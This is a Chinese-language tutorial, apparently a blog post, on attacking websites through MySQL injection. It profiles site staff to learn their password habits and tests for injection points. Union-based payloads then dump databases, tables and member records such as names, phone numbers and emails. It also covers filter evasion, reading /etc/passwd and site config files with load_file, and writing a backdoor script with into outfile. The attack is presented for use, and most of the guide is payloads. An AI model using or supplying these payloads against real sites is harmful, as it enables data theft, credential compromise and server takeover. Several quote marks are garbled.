Mysql注入经验浅谈
一、注入准备与攻击步骤
1、确认注入攻击的目标网站
2、目标网站一般信息的收集、分析与提取
3、网站技术分析:寻找和测试可用注入点,网页输入输出机制分析
4、探子回报:注入SQL确定数据库类型,当前账户权限级别
5、提权分析:根据用户级别确定是否可以与系统层交互提权,是否可以与数据库层交互提权,是否可以获取web后台管理员权限的可能性。
6、网站可用SQL注入类型测试,盲注?显注?
7、盲注策略:使用注入分析工具替代人工
显注策略:第三者上位
一般信息的收集、分析与提取 :
信念:没有无用的信息
只要是人为,就会有漏洞的可能性。任何信息都会透露背后的另一层信息。
1、域名信息
2、域名信息的扩展信息,如注册人、公司、联系电话等信息收集
3、网站所有相关工作人员的信息收集,比如技术研发人员相关联系方式、QQ、手机、博客、微博等。目标是得到相关人员对密码设置的习惯和规律等。
技术分析:
1、技术分析
一般信息关联的可能性,网页源代码分析,输入输出机制分析,寻找和测试可用注入点。
2、使用Firefox浏览器,安装浏览器插件Hackbar
二、注入点的发现与测试
1、常用注入点
a、表单中的输入域
b、URL的参数 (比较常见)
c、Cookie或者隐藏域
2、表单中的输入域,Cookie或者隐藏域
需要对网页输入输出机制进行充分的分析、过滤和提取,并了解其执行注入SQL的可能机制,比如输入域,cookie,url参数的变量名是什么,如何传递给数据库引擎。
3、URL的参数
—先利用不变逻辑和空集逻辑判断注入点在哪个参数
字符类型参数:单引号’ 或双引号测试是否可以关闭
’ and ‘1’='1 不变逻辑,测试网页或者程序显示正确
’ and ‘1’='2 空集逻辑,测试网页或者程序显示不正确或者报错
’ or ‘1’='1 全集逻辑,测试网页对数据量的处理是否变化
整数类型参数:
and 1=1 不变逻辑,测试网页或者程序显示正确
and 1=2 空集逻辑,测试网页或者程序显示不正确或者报错
or 1=1 全集逻辑,测试网页对数据量的处理是否变化
—在注入点中获取有效信息
and left(version(),1)=5
and substr(version(),1,1)=5 //判断数据库版本号第一个数字是否为5
返回正确说明:
1、数据库为mysql
2、对执行数据库函数未过滤
3、对括号未过滤
4、可能对子查询未过滤
5、可注入复杂逻辑
6、评估注入可进行的程度
—用户权限级别的确认
user()
网页注入测试:and (select length(user()) from mysql.user where user like ‘z%’)>1
and (select count(*) from mysql.user where user=user())>=1
and (select length(user()) from mysql.user where user=user())>=1
返回正确说明:
1、对mysql字典数据库有权限,否则无权限
如无权限,则对密码获取受限,必须另想它法,如web网站后台管理员密码。
2、如对mysql字典库无权限,则需要测试对information_schema字典库测试权限
注入测试:and (select count(*) from information_schema.tables where table_schema=database())>1
返回正确说明:
对information_schema字典库有权限,可以获取所有数据库、所有表、所有字典信息。对攻破web后台管理员权限有帮助。
三、确认SQL注入类型于攻击策略
按输出机制分类:
盲注:输出数据库的内容在网页中没有显示,只有逻辑判断。
报错注:充分利用程序、数据库报错的帮助傻傻地告诉所有信息
显注:注入查询语句的内容在网页中显示
其他:email, ftp, samba等协议
显注:第三者上位
and 1=2 union select 1,2,3,4,5,6,7,8,9 --+ //–+用于注释掉后面的sql语句,+用于规避可能对空格的检查
//观察页面上位的数字,该位置可以构造特殊语句暴露数据库信息
子查询测试:
替代程序查询,只查询数据库字典信息:
union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables where table_schema=database() limit 1 – //查询表名
//当回显位置有限时,可以使用concat()、concat_ws()、group_concat()函数回显更多信息
四、规避检查注入
对于空格检查的规避:
1、or–+1=!!1 利用不变逻辑的!!或!!!代替空格
2、注释代替 and/**/select/**/uname/**/from/**/users
3、+号连接字符替换
4、用十六进制编码 %20
5、ASCII码替换char(32)
对单引号的规避:
1、换一种方式
and left(user(),1)=‘z’ 换成 and ascii(left(user(),1))=122
### 五、暴库和获得后台管理员权限
暴数据库名
and 1=2 union select 1,2,3,4,concat_ws(’~’,schema_name),6,7,8,9 from information_schema.schemata limit 1,10 –
暴表名 //获取web后台管理员密码可能存在的表 如:%user%、%member%
and 1=2 union select 1,2,3,4,concat_ws(’~’,table_schema,table_name,table_rows,table_comment),6,7,8,9 from information_schema.tables where table_schema=database() –
暴字段名 //column_name、column_comment可能对字段功能有描述
and 1=2 union select 1,2,3,4,concat_ws(’~’, table_schema, table_name, column_name, column_comment),6,7,8,9 from information_schema.columns where table_schema=database() and table_name=‘member’ limit 1,10 –
暴字段值
and 1=2 union select 1,2,3,4,concat_ws(’~’,member_name,mobile,e_mail),6,7,8,9 from zakkanet.member limit 1,100 –
//where like %admin% 找出管理员的敏感信息
情况排除:
如果返回为空,是语句输错了还是本来回显就为空呢?
ifnull(‘table_name’,‘null_tablename’) //如果table字段为空,则回显null_tablename
六、系统交互提权
1、与系统层交互的方式
-
读写磁盘文件
-
直接执行命令
与系统层交互提权,取决于mysql服务器进程以什么权限运行,与程序连接的数据库账户以什么权限级别使用。
2、读取系统文件
load_file(’/etc/password’)
select uid,uname from users where uid=10008 and 0=9 union select 1,load_file(’/etc/passwd’)
select uid,uname from users where uid=10008 and 0=9 union select 1,load_file(’/var/www/html/web.config’) //读取网站配置文件
dbconfig.conf //读取网站配置信息,获取用户名和密码信息
盲注时配合substr, char, ascii等
3、留后门脚本文件
select ‘<script>alert()</script>
’ into outfile ‘/var/www/html/test.php’; // 迷惑的测试脚本
七、SQL注入漏洞检测工具
1、替换人工办法自动检测有漏洞的URL
Safe3 SQL Injector
是一款最强大和最易使用的渗透测试工具,它可以自动检测和利用SQL注入漏洞和数据库服务器的过程中。
Safe3 SQL Injector 具备读取MySQL、Oracle、PostgreSQL、SQL Server、Access、SQLite、Firebird、Sybase、SAP、MaxDB等数据库的能力。同时支持向MySQL、SQL Server写入文件,以及SQL Server和Oracle中执行任意命令。Safe3 SQL Injector也支持基于error-based、Union-based和blind time based的注入攻击。
2、对指定的URL进行穷举可能的注入
Sqlmap不用说,注入神器